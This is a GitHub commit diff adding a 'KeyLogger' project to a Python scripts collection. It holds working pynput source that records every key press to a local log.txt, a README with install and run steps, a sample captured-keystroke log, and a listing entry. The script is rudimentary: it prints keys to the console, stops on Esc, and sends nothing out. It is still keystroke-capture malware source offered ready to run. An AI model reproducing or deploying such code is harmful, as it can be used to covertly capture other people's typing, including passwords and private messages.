This repository was archived by the owner on Dec 20, 2022. It is now read-only.
File tree Expand file tree Collapse file tree 4 files changed +82
-1
lines changed Expand file tree Collapse file tree 4 files changed +82
-1
lines changed Original file line number Diff line number Diff line change 1+ import pynput
2+ from pynput .keyboard import Key , Listener
3+
4+ keys = []
5+
6+
7+
8+ def on_press (key ):
9+ keys .append (key )
10+ write_file (keys )
11+
12+ try :
13+ print ('alphanumeric key {0} pressed' .format (key .char ))
14+
15+ except AttributeError :
16+ print ('special key {0} pressed' .format (key ))
17+
18+
19+ def write_file (keys ):
20+ with open ('log.txt' , 'a' ) as f :
21+ for key in keys :
22+ k = str (key ).replace ("'" , "" )
23+ f .write (k )
24+
25+ f .write (' ' )
26+
27+ def on_release (key ):
28+ print ('{0} released' .format (key ))
29+ if key == Key .esc :
30+ return False
31+
32+
33+ with Listener (on_press = on_press ,
34+ on_release = on_release ) as listener :
35+ listener .join ()
Original file line number Diff line number Diff line change 1+ # To Run This KeyLogger Code Using Python
2+
3+ ### ** You need to install 'pynput'**
4+
5+ #### Steps to Install 'pynput'
6+
7+
8+
9+ ** First create virtual env in your IDE and set it by using given commands**
10+
11+ ##### macOS
12+ ```
13+ python3 -m venv .venv
14+ source .venv/bin/activate
15+ ```
16+
17+
18+ ##### Linux
19+
20+ ```
21+ sudo apt-get install python3-venv #If needed
22+ python3 -m venv .venv
23+ source .venv/bin/activate
24+ ```
25+
26+ ##### Windows
27+ ```
28+ py -3 -m venv .venv
29+ .venv\scripts\activate
30+ ```
31+
32+ use this command in your virtual env to install pynput
33+
34+ ```
35+ pip install pynput
36+ ```
37+
38+
39+ -------
40+ ** Now you can run this in your IDE**
41+
42+ ###### ** Your key log will be saved in 'log.txt' file**
43+
44+
Original file line number Diff line number Diff line change 1+ Key.backspace Key.backspace Key.backspace Key.backspace Key.backspace s Key.backspace Key.backspace s d Key.backspace Key.backspace s d d Key.backspace Key.backspace s d d d Key.backspace Key.backspace s d d d Key.backspace Key.backspace Key.backspace s d d d Key.backspace Key.ctrl Key.backspace Key.backspace s d d d Key.backspace Key.ctrl c
Original file line number Diff line number Diff line change 1- # Python-project-Scripts.
1+ # Python-project-Scripts.
22
33<a href =" https://join.slack.com/t/ngc-goz8665/shared_invite/zt-r01kumfq-dQUT3c95BxEP_fnk4yJFfQ " >
44<img alt =" Join us on Slack " src =" https://raw.githubusercontent.com/netlify/netlify-cms/master/website/static/img/slack.png " width =" 165 " />
@@ -112,3 +112,4 @@ The contribution guidelines are as per the guide [HERE](https://github.com/larym
112112| 63 | [ QtQuiz] ( https://github.com/larymak/Python-project-Scripts/tree/main/GUI/QtQuiz ) | [ Eduardo C.] ( https://github.com/ehcelino ) |
113113| 64 | [ Umbrella Reminder] ( https://github.com/larymak/Python-project-Scripts/tree/main/AUTOMATION/Umbrella%20Reminder ) | [ Edula Vinay Kumar Reddy] ( https://github.com/vinayedula ) |
114114| 65 | [ Image to PDF] ( https://github.com/larymak/Python-project-Scripts/tree/main/IMAGES%20%26%20PHOTO%20SCRIPTS/Image%20to%20PDF ) | [ Vedant Chainani] ( https://github.com/Envoy-VC ) |
115+ | 66 | [ KeyLogger] ( https://github.com/larymak/Python-project-Scripts/tree/main/OTHERS/KeyLogger ) | [ Akhil] ( https://github.com/akhil-chagarlamudi ) |
You can’t perform that action at this time.
0 commit comments